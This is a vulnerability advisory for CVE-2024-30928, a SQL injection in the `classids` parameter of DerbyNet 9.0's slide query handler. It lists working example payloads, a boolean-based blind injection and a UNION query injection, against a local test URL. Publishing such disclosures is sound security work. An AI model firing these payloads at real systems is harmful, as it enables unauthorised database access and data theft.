CVE ID: CVE-2024-30928  
  
Description:  
An SQL Injection vulnerability has been discovered in DerbyNet version 9.0, particularly within the `ajax/query.slide.next.inc` file. This vulnerability allows remote attackers to execute arbitrary code and disclose sensitive information by exploiting the unvalidated `classids` parameter used in constructing SQL queries. This parameter is not properly sanitized before being included in the SQL statement, leading to a critical risk of SQL Injection.  
  
Vulnerability Type: SQL Injection  
  
Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynet  
  
Affected Product Code Base: DerbyNet - v9.0  
  
Affected Component: ajax/query.slide.next.inc  
  
Attack Type: Remote  
  
Impacts:  
- Code execution: True  
- Information Disclosure: True  
  
Attack Vectors:  
The vulnerability is primarily exploited by manipulating the `classids` parameter in the user's request to the `ajax/query.slide.next.inc` file. The lack of adequate input validation allows attackers to inject malicious SQL code through this parameter. Example attack vectors include:  
  
- Direct exploitation:  
- `http://127.0.0.1:8000/action.php?query=slide.next&mode=racer&classids=1`  
  
- Boolean-based blind SQL Injection:  
- Payload: `query=slide.next&mode=racer&classids=1) AND 4365=4365 AND (6880=6880`  
  
- UNION query SQL Injection:  
- Payload: `query=slide.next&mode=racer&classids=-3890) UNION ALL SELECT NULL,NULL,CHAR(113,107,120,122,113)||CHAR(79,97,117,85,112,79,82,85,75,114,65,66,118,100,117,107,79,118,111,104,67,105,87,86,72,110,107,119,113,86,106,107,115,100,110,109,98,77,85,115)||CHAR(113,118,120,120,113),NULL,NULL,NULL,NULL,NULL-- rDzQ`  
  
These vectors demonstrate how an attacker could manipulate SQL queries to potentially access or manipulate database information unauthorizedly.
